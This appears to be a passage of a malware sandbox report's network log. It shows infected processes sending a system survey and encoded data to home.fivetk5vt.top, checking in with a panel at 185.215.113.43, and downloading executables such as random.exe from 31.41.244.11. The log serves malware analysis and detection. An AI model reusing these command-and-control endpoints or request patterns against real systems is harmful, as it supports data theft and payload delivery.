Dec 19, 2024 16:11:03.587335110 CET	12360	OUT	POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1 Host: home.fivetk5vt.top Accept: / Content-Type: application/json Content-Length: 197924 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 32 31 30 36 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734621061", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 560 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 652 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 868 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 996 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 60 }, { "name": "svchost.exe", "pid": 9 [TRUNCATED]
Dec 19, 2024 16:11:03.707521915 CET	4944	OUT	Data Raw: 75 6e 57 79 37 43 34 79 45 30 33 4b 4c 63 59 7a 6c 48 35 4c 48 5c 2f 41 43 30 5c 2f 48 2b 74 52 31 2b 69 6c 6a 38 47 76 68 42 34 6c 30 56 52 63 2b 43 4a 64 41 6d 65 52 6d 47 6f 2b 45 76 46 50 69 53 44 55 45 5a 53 4e 73 65 33 78 62 66 38 41 6a 50 Data Ascii: unWy7C4yE03KLcYzlH5LH\/AC0\/H+tR1+ilj8GvhB4l0VRc+CJdAmeRmGo+EvFPiSDUEZSNse3xbf8AjPS5Lbg+ZH\/Zcdy4JCXsJ2uvl\/iP9kfUD5k\/gHxxo2ucSNFoni2D\/hDNZlfO6K3tNQkutU8IzKqZR77V\/EXhsSSKGWyjEgSPzck8ZOCs0ahiK+PyOU2vZ\/21hYUqMl1nPF4GvmGCw0ErNzxmJw6trryy5fez7
Dec 19, 2024 16:11:03.707572937 CET	4944	OUT	Data Raw: 6e 6d 4a 38 69 62 39 6e 37 33 5c 2f 6e 72 2b 34 48 2b 69 5c 2f 38 41 36 75 66 70 54 46 5c 2f 65 62 48 66 79 33 66 38 41 35 5a 44 5c 2f 41 4a 59 65 5c 2f 54 33 5c 2f 41 44 37 30 38 71 38 6e 5c 2f 4c 62 59 6e 36 51 39 73 66 6a 37 66 54 33 70 6d 64 Data Ascii: nmJ8ib9n73\/nr+4H+i\/8A6ufpTF\/ebHfy3f8A5ZD\/AJYe\/T3\/AD708q8n\/LbYn6Q9sfj7fT3pmdzbE8zZ5X\/LP\/lsf0\/ye9BvDf5fqiH\/AL9vJ\/26\/wCf6YPej\/ck+\/L+9j58\/NP+Th\/9Q\/WXnHr\/AJ4o8t5P9c\/EfHH+enp\/nFey8o\/d\/wAA1IdxjWbZ9\/8Ar\/n6GmeZ8vzp8\/m+V9nkl\/T
Dec 19, 2024 16:11:03.707664013 CET	7416	OUT	Data Raw: 2f 62 4d 74 33 38 42 76 41 31 38 76 67 7a 5c 2f 68 45 72 66 54 4e 56 66 54 76 37 52 58 53 4a 4e 63 5c 2f 77 43 45 69 4e 75 69 32 6e 5c 2f 43 4f 5c 2f 32 61 5a 6c 4f 72 71 6b 6e 38 56 59 50 4d 4d 64 44 48 54 6f 59 7a 45 4b 74 43 6c 52 6c 4b 71 6c Data Ascii: /bMt38BvA18vgz\/hErfTNVfTv7RXSJNc\/wCEiNui2n\/CO\/2aZlOrqkn8VYPMMdDHToYzEKtClRlKqlDD0oxqxjFyh7RqlG9OTcJSlOMHJStdJM\/u7hDxK49y\/jjHZNxdxDDiLBZPkmLxOa4LC4PhXJ40c0oUMPPEYGnmeLjkWCVXLcTVqYOvWxeaYPBVK9KslKUfZSn\/AEy2Pwq+M\/hqw8V+FfCXxQ+DD+AvEvjH4o+
Dec 19, 2024 16:11:03.707782030 CET	6180	OUT	Data Raw: 33 32 33 35 32 45 63 66 6d 66 38 41 50 51 6d 63 38 39 73 5a 36 2b 6c 50 5c 2f 74 48 79 34 39 33 32 67 4b 45 6c 38 73 38 74 35 38 33 31 35 50 63 63 59 7a 7a 36 31 72 5c 2f 61 56 48 76 48 37 5c 2f 38 41 67 5c 2f 31 62 30 4e 50 71 64 54 74 4c 37 76 Data Ascii: 32352Ecfmf8APQmc89sZ6+lP\/tHy4932gKEl8s8t58315PccYzz61r\/aVHvH7\/8Ag\/1b0NPqdTtL7vS\/6\/h5m35o\/cpGjvv9Wx+nP86reeIz2m8v\/aHkd\/b8en64rE\/tCLy3XzR381PLMP4jv\/P6Ufb9weHcB+95\/dtz\/njofxxzU\/2lDvT+9+Xn\/VmP6nU\/ll93p5ev9bbbSj76+V\/z18uScfuv+nXp\/
Dec 19, 2024 16:11:03.707802057 CET	1236	OUT	Data Raw: 5c 2f 41 41 71 72 5c 2f 77 44 79 7a 79 58 33 42 5c 2f 5a 47 55 5c 2f 38 41 51 72 79 37 5c 2f 77 41 49 73 4e 5c 2f 38 71 50 6d 75 78 5c 2f 59 79 5c 2f 59 2b 30 75 5c 2f 74 64 56 30 7a 39 6c 48 39 6d 76 54 74 55 73 76 4f 2b 78 36 6c 59 5c 2f 41 76 Data Ascii: \/AAqr\/wDyzyX3B\/ZGU\/8AQry7\/wAIsN\/8qPmux\/Yy\/Y+0u\/tdV0z9lH9mvTtUsvO+x6lY\/Av4X2l\/afaYXtrj7LeW\/haO4g8+3kkgm8qRPNhd4n3IzKdvUf2V\/wBmDV44IdW\/Zw+A2qQ213Bf20Wo\/B\/4e3sdvfWpLW15Alz4dlWK7t2ZjBcRhZoiSY3Uk17zRXFVlKvOpUrt1qlZp1Z1W6k6rjCNOLqSnd
Dec 19, 2024 16:11:03.827338934 CET	2472	OUT	Data Raw: 54 54 59 64 48 6b 5c 2f 5a 4e 5c 2f 5a 6f 66 53 4c 65 36 6b 76 6f 4e 4b 66 34 45 66 43 31 74 4e 67 76 5a 6f 78 46 4c 65 51 32 4a 38 4b 6d 31 6a 75 70 59 6c 57 4f 53 34 53 4a 5a 58 6a 55 49 7a 6c 51 42 58 53 51 5c 2f 73 77 66 73 30 32 38 37 33 55 Data Ascii: TTYdHk\/ZN\/ZofSLe6kvoNKf4EfC1tNgvZoxFLeQ2J8Km1jupYlWOS4SJZXjUIzlQBXSQ\/swfs02873UH7PHwMguZLW0sZLiH4S+AY55LKwe6ksbN5k8PrI1rZSX169pbsxitnvLpoURriUv7nRU1MTiKq5atetUjeTtUqzmrzlGU3aUmrzlCMpPeUoxbu0rVTw+HpO9KhRptKKTp0oQaUIyjBXjFO0IylGK2jGUkrJs+YW\/
Dec 19, 2024 16:11:03.827492952 CET	7416	OUT	Data Raw: 5c 2f 34 6a 37 38 4a 76 5c 2f 6d 52 72 36 6c 6f 6f 5c 2f 74 54 4d 76 2b 68 68 6a 76 38 41 77 72 78 48 5c 2f 77 41 73 44 2b 7a 4d 74 5c 2f 36 46 32 42 5c 2f 38 4a 4d 50 5c 2f 41 50 4b 7a 35 61 5c 2f 34 59 61 5c 2f 59 6f 5c 2f 36 4d 39 5c 2f 5a 61 Data Ascii: \/4j78Jv\/mRr6loo\/tTMv+hhjv8AwrxH\/wAsD+zMt\/6F2B\/8JMP\/APKz5a\/4Ya\/Yo\/6M9\/Za\/wDEffhN\/wDMjR\/ww1+xR\/0Z7+y1\/wCI+\/Cb\/wCZGvqWij+1My\/6GGO\/8K8R\/wDLB\/2Zl3\/QvwX\/AISUP\/lfkvuPlr\/hhr9ij\/oz39lr\/wAR9+E3\/wAyNH\/DDX7FH\/Rnv7LX\/iPvwm\/
Dec 19, 2024 16:11:03.827617884 CET	4944	OUT	Data Raw: 6c 38 49 65 43 45 2b 47 6e 37 55 47 70 66 43 37 56 76 68 6b 31 79 2b 70 5c 2f 43 37 53 66 45 74 33 38 4b 66 41 63 6d 73 66 30 64 55 55 41 66 68 54 38 48 5c 2f 2b 43 65 58 6a 71 35 38 53 5c 2f 41 6e 57 50 48 76 77 6d 30 4c 77 6a 70 48 77 76 5c 2f Data Ascii: l8IeCE+Gn7UGpfC7Vvhk1y+p\/C7SfEt38KfAcmsf0dUUAfhT8H\/+CeXjq58S\/AnWPHvwm0LwjpHwv\/Z+\/bJufgN4d8V+IfC3xG0z9jT4h\/Fv9pnwF8U\/2UPh5o2l22sa1pMvi79mz4a2S6D4W1vwFB4r8AfBq+8G3ngf4L+PpPBFh4G1HWdj\/gkv+xj4u\/Zj17xj4h8efDP9qP4Y\/EbX\/hZ4J8MfFu\/+JY\/4Jn
Dec 19, 2024 16:11:03.870337009 CET	27192	OUT	Data Raw: 53 50 34 69 65 45 48 31 65 33 30 54 77 68 66 36 78 70 66 69 7a 57 4a 74 4e 58 57 44 65 52 61 58 34 58 31 50 77 39 34 67 30 37 78 46 71 45 6b 4b 32 6d 69 58 2b 68 36 78 61 61 6c 4e 62 58 47 6d 58 73 63 47 72 70 58 78 61 2b 46 57 75 2b 42 37 7a 34 Data Ascii: SP4ieEH1e30Twhf6xpfizWJtNXWDeRaX4X1Pw94g07xFqEkK2miX+h6xaalNbXGmXscGrpXxa+FWu+B7z4naH8TPh9rPw20631K71D4haV4z8Oaj4HsLXRzIur3N54stNSm0G1t9KaKVdSmnv0jsTHILloijY\/OXQPgVcXXwZ+BdlrHwl1CXW7L\/AIKJePfiv4isr\/wXff2na2LftA\/Gg6T8QNbtZtPFzDpU3gpvCstn4iv
Dec 19, 2024 16:11:03.990262985 CET	8652	OUT	Data Raw: 2f 64 50 34 66 7a 46 44 5c 2f 64 50 34 66 7a 46 4e 6a 37 5c 2f 41 49 66 31 72 34 63 5c 2f 79 4d 47 62 6a 36 6e 38 36 6b 54 70 2b 50 38 41 51 55 2b 69 74 76 66 5c 2f 41 4c 76 34 6d 66 74 50 4c 2b 76 75 4b 6c 7a 39 31 5c 2f 6f 66 5c 2f 51 54 58 6d Data Ascii: /dP4fzFD\/dP4fzFNj7\/AIf1r4c\/yMGbj6n86kTp+P8AQU+itvf\/ALv4mftPL+vuKlz91\/of\/QTXm\/in\/j0uv+uUn\/oFej3PRv8Adb\/0EV5v4o\/487n\/AK4v\/wCi6+Z4mlfKcy0\/5gcV+FF\/5n2HBX\/I+yZ\/9TTAfjisP\/kf3iUUUV\/gOf8AVoFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQA
Dec 19, 2024 16:11:06.842552900 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 19 Dec 2024 15:11:06 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 55 61 61 71 71 33 74 33 71 38 53 65 6b 66 47 73 31 37 33 34 36 32 31 30 36 35 Data Ascii: Uaaqq3t3q8SekfGs1734621065

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50037	176.53.146.212	80	7900	C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:07.561125994 CET	123	OUT	GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=Uaaqq3t3q8SekfGs1734621065 HTTP/1.1 Host: home.fivetk5vt.top Accept: /
Dec 19, 2024 16:11:09.062433004 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 19 Dec 2024 15:11:08 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="3EoRfJgTGTVJkI;" last-modified: Wed, 18 Dec 2024 09:39:05 GMT cache-control: no-cache etag: "1734514745.3970041-10816560-1399330581" Data Raw: 1f d3 b8 f9 48 23 e6 ab e2 6f 4e 39 34 0e 37 71 e9 15 f5 d5 48 ac a9 8e 73 ae ae 8f 65 19 a3 59 2b 9b f9 5b 59 41 77 f8 92 f5 c2 cb 78 d2 d7 ba 88 44 aa 97 9b 59 23 e7 96 54 07 b2 3b 56 ad 75 9b 9f f3 b3 36 90 d6 d3 a9 67 51 92 ec b7 f0 f6 ba 0c c4 82 82 60 82 8a 0c aa 9c cb 03 03 c4 22 72 c1 2c 7a bd c2 21 aa 3c 2c 1c c6 94 94 9d 86 39 d7 db 82 46 f1 3a 04 14 24 07 20 ee f8 2a f7 58 eb f6 99 45 57 be 23 73 1b 76 33 bc 7b fd 30 8c bc 1c f0 ea a8 2e 8d 4d 1d 72 9e c6 2b 66 29 4c ad 5f 01 9b ff 3d b8 79 46 ea 95 db 24 8e aa ea eb 3f 5a 5d be fc 0f b9 f1 28 2b fc 0d f5 43 d0 f1 bd b0 29 47 21 99 56 ff d2 b8 72 2e 77 5c e3 c3 34 86 06 45 1b 3b ac 42 23 51 dc cc 26 97 7e 54 79 52 94 e6 86 aa 8f e8 2d 29 a8 c0 64 28 b3 7b e5 f5 2b 2c fa 54 c5 02 06 a3 e5 00 4a 3f 8d 60 b6 da 9c 71 2f d1 02 d4 88 d7 b6 3f 11 76 d8 2a a7 f1 c8 a4 44 86 6d 16 20 f9 8f 3e 13 09 5f ca 88 3c 27 83 f4 3b d6 df de 7b 33 4e f1 08 0f b2 cc a7 08 ff d9 f5 d3 e7 87 f0 cb e8 48 86 6d 17 05 0e 97 63 79 74 b4 92 ea 78 1f 34 f7 15 b7 2c [TRUNCATED] Data Ascii: H#oN947qHseY+[YAwxDY#T;Vu6gQ`"r,z!<,9F:$ XEW#sv3{0.Mr+f)L_=yF$?Z](+C)G!Vr.w\4E;B#Q&~TyR-)d({+,TJ?`q/?vDm >_<';{3NHmcytx4,QDOXKQ:S: z3NhJe9 m9RweCqLq4xA^0q=:%69cbmNT~D`}S=G$\|R)07opsQ[bJ~\/tMy_Pr?y9+(fw%H "<N88*DE}X@_B9uI3[>>$tQ2jm\$^!N\"fJ/a.(3=3AB7eS_tRCma6qo?Dz@(UZ^g{) ??oeOHE&Dy1%KS/TD=A]4tF16k50S,bbHs9P/1JhcA(,_ow0swHv=m/@"=Alst>E4,G2X{{Al8M
Dec 19, 2024 16:11:09.062446117 CET	1236	IN	Data Raw: 5d ac f4 d9 8c d0 32 0f 96 13 e5 2d 8a b3 60 9a 31 5d 6f 19 a1 97 e5 ef 19 35 3e a2 80 74 8a 20 18 bd 80 5f de e5 db 19 40 4a 9f 22 59 e9 1d d7 b9 35 12 85 ba 1c 84 c2 cf 36 cc 45 05 80 35 ce 1a 47 a3 e8 17 e3 a0 96 e4 d0 39 46 58 c9 61 70 95 1d Data Ascii: ]2-`1]o5>t _@J"Y56E5G9FXap{;#gJ0rAt.^Zvmer*BP&BkGB{{(akOLe(%r{IA6mcXq'AuQd?7rD41)L%#[:j8e
Dec 19, 2024 16:11:09.062459946 CET	1236	IN	Data Raw: 50 7b 6c 0a 76 1c f4 5d 07 1d b1 08 6a a4 54 91 6c 08 e1 06 0c 76 2c a2 19 8c 3c 1f cc f5 2c 94 da d4 42 bb c9 dc 70 00 24 4a e9 09 53 e3 7e 91 d6 ea 21 0f 52 ee 79 64 e1 e8 48 ff 56 28 e6 0e 63 74 97 33 06 ce e6 43 da b3 66 1c 8f 5b 2a fc 66 11 Data Ascii: P{lv]jTlv,<,Bp$JS~!RydHV(ct3Cf[fp3iFw\x;}4:]zfy6L'i6F}0\%LZW6&K*\7OfzQNF!3?2GjIB9Z^5#iZ+W;'R\|]:
Dec 19, 2024 16:11:09.062624931 CET	1236	IN	Data Raw: 4f 8f 48 33 5f 07 7f 5f b4 42 67 89 34 b9 78 c0 26 b9 f0 a5 02 79 6b 8c 2d 9f 79 00 78 c9 5f 27 18 54 7a 9e 68 e0 e7 cb 05 8d 38 3c f9 3f cc 55 56 b6 a0 c5 a5 53 aa d8 84 19 75 54 13 fc 7f d1 b0 39 2e f9 7d c4 63 b3 33 78 7d df ff be 88 56 e6 26 Data Ascii: OH3__Bg4x&yk-yx_'Tzh8<?UVSuT9.}c3x}V&n$#;K6L61,ub a:@Aqp.K*]_sn]qO2J/\}-N{Vk\|QmKt8Z/y4#S[8oEh0v@8U;'MRHX
Dec 19, 2024 16:11:09.062642097 CET	896	IN	Data Raw: fa 1d 44 4b db 94 b2 41 9a bd ea 09 48 25 bb 69 91 f1 84 d6 41 10 2e de 1d 2f 06 f8 2e a8 d5 d5 b6 73 3c 18 d1 46 76 01 d0 66 3c 11 df ae 06 c6 56 97 60 c9 a6 8e 92 20 d3 68 1d 77 df 30 b9 92 09 35 97 1d cf 42 97 08 e9 51 b4 e6 f4 28 0a e9 cf aa Data Ascii: DKAH%iA./.s<Fvf<V` hw05BQ(F%4E@v(JatGdP>sYyWe\FXd9)sbs(*f858"N`m>(TI\5hW?5IAg4mUl&s~Uvsp.X
Dec 19, 2024 16:11:09.062655926 CET	1236	IN	Data Raw: 80 6f aa 62 bc a5 5b ad ba 62 4c 5b fb c2 b2 dc 52 e2 ce 83 34 43 e8 06 ae 4f 67 ec 37 94 88 d3 78 aa 53 d5 3c 90 43 1c 10 7d e2 be 2e 91 48 23 7a 02 c4 24 ef 5c 93 3b 65 49 2e 80 9b 16 01 81 ac 3b 9a 8c ae 66 9f 1c 9e b3 e2 a4 e1 21 4c fa 91 0e Data Ascii: ob[bL[R4COg7xS<C}.H#z$\;eI.;f!L~`l`t%;U1n6===.hv~$T52_3;@Yf$,;lRls8:bf < +[5q{zgN=j=:sakJW6T8Fq
Dec 19, 2024 16:11:09.062675953 CET	1236	IN	Data Raw: c1 75 07 f5 22 6d 26 00 43 a2 b5 4b bf 19 7b fe 67 26 5c 40 d4 d0 dd 0c 3e 4b 14 07 b2 f2 2b 6a d9 4d 6c f2 24 ec 10 94 da 79 71 a1 e5 90 7e 8d bf e2 92 68 30 ad 7f 39 c2 dd b6 8f 06 5d 5e 66 87 27 96 91 21 db 86 81 4a 12 0a dd f3 22 fc 56 22 f5 Data Ascii: u"m&CK{g&\@>K+jMl$yq~h09]^f'!J"V"M<+tVT_c@]blDifa{]56foZO_V&zLW QZGg?<a:7c&B'/Nq!W^UCflpz
Dec 19, 2024 16:11:09.062689066 CET	1236	IN	Data Raw: 36 ba 53 77 c5 2e 18 8a ff 06 e6 20 46 00 4c 22 fd 1b 5a 6f 64 e6 6b 26 42 67 f8 ea c9 73 27 c0 fb 0b e9 96 82 16 0b 3d 8e ea 6e b3 6e fc 42 f7 17 96 80 c1 74 9a d1 bf 60 11 34 19 19 21 f6 21 82 e1 a0 a3 8a 4e a7 5e cd b1 a7 77 95 58 94 a0 b7 aa Data Ascii: 6Sw. FL"Zodk&Bgs'=nnBt`4!!N^wX%QrxE:ygiBImMh9sh+";XuYB)w.BQOd9X?$8GHO-AMoxfOCmRAw
Dec 19, 2024 16:11:09.062700033 CET	1236	IN	Data Raw: a6 35 b1 46 be 75 54 a4 cf 91 a6 c3 f9 ab 3b a4 8a 5b 4a 13 f4 df b3 b0 08 60 1b 02 43 73 58 c5 a5 0f e6 20 aa 23 e4 9b 11 1f 8d 8b 2d b7 b1 9a f0 a2 8f 54 f9 55 e9 a8 46 bc 50 66 9b 95 5c 8e bf 58 77 25 6e 86 78 d0 73 bc 40 f9 fa 02 f5 d6 36 12 Data Ascii: 5FuT;[J`CsX #-TUFPf\Xw%nxs@6T~([X{vETwP3TA{JAmjjLcfE"8$VnXaYqdD2fY5\iKq@V(HD5\|DqxLB#
Dec 19, 2024 16:11:09.062712908 CET	1236	IN	Data Raw: 56 90 03 8d 03 b9 3c 75 55 3c a7 9c 87 bb c4 37 82 2c ef 09 c4 b9 59 f8 0a 60 90 8a d6 cc 84 94 79 26 21 36 01 65 9b 12 fd 8c 76 9a 37 3b a6 15 4e db 85 c4 44 af a9 03 34 52 20 4d 5e 6f 18 27 56 26 0b b8 eb 90 f8 4a b9 12 e5 4c 40 7b 54 2a c2 5f Data Ascii: V<uU<7,Y`y&!6ev7;ND4R M^o'V&JL@{T_5;TZ~wyZSu`~M[)`vT_wH7j9!>BdCydr{9e;DeT/=0LK"A,;;u+ \|
Dec 19, 2024 16:11:09.182219982 CET	1236	IN	Data Raw: 79 dd 10 e6 5e a6 90 0a 56 b2 e3 4a df 9c 1d 01 88 13 6b 0a 9d 1e db b8 04 0a 8b bb 33 30 35 3b 64 b7 86 be 56 f7 67 e1 d5 d5 64 bd 4c 40 2a bd 08 1b 25 7e 96 42 c8 47 38 47 60 22 d6 c5 73 5f b6 53 ee ef 9f 7a 9a ec 86 f8 e7 a2 c0 3c 1b ba 06 7f Data Ascii: y^VJk305;dVgdL@%~BG8G`"s_Sz<5Adm;-Mv>f`=&4N"laAU4d7w0o~(@?1YHVvv`o[ttq>aMX71:M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50073	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:13.442353964 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017684001&unit=246122658369
Dec 19, 2024 16:11:14.761154890 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:11:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50091	31.41.244.11	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:14.972946882 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 16:11:16.362478971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:11:16 GMT Content-Type: application/octet-stream Content-Length: 2010112 Last-Modified: Thu, 19 Dec 2024 15:07:40 GMT Connection: keep-alive ETag: "676436bc-1eac00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 b0 4c 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^L@L@Vjl <@.rsrclL@.idata T@ *V@jznnqulh0p2.X@htcteoogL@.taggant0L"@
Dec 19, 2024 16:11:16.362546921 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:11:16.362557888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:11:16.362574100 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:11:16.362665892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:11:16.362715960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: D]ww+^U!raB7MQ
Dec 19, 2024 16:11:16.362729073 CET	1236	IN	Data Raw: e0 88 0f 48 7a d9 73 9d 23 36 ff ec 8b d0 58 26 87 38 97 92 f1 e3 59 76 3c 8a 70 2e eb a5 69 fe f3 e9 ae 48 19 ea d8 33 7c a8 4c 74 a3 e2 4a 3c 9f 72 bf d6 76 08 91 7e 72 76 f8 5b e3 14 29 e3 e7 55 44 07 83 68 18 73 b8 e9 73 fd 87 df 9c 89 69 ef Data Ascii: Hzs#6X&8Yv<p.iH3\|LtJ<rv~rv[)UDhssi^rxwqB}hut9g+\MS`m$iY\|*$Sr.pgySo^W3CkFj~JkmZ29p [}gd4
Dec 19, 2024 16:11:16.362845898 CET	1236	IN	Data Raw: dd 82 5e 63 a1 a8 32 cf 1f 6d a0 db a9 d3 bc 2e e1 29 d9 00 f4 dd 6c d3 ee 14 97 52 3a 46 ed be 8b 50 c3 50 fe f3 cd 00 1a da a7 f3 0a 94 3c 76 62 d1 ac 0b e6 81 cf 00 83 bf 7d 6c 7b 98 8e 33 11 02 b2 8b 84 48 96 56 4c a9 65 be 4a 81 c3 04 04 f3 Data Ascii: ^c2m.)lR:FPP<vb}l{3HVLeJ48aJ7\|m9L7\R/45s?jQ6yBb[>6Q>pqt>?O`[qzKgs<>+A\|91hP8$$NlxODB
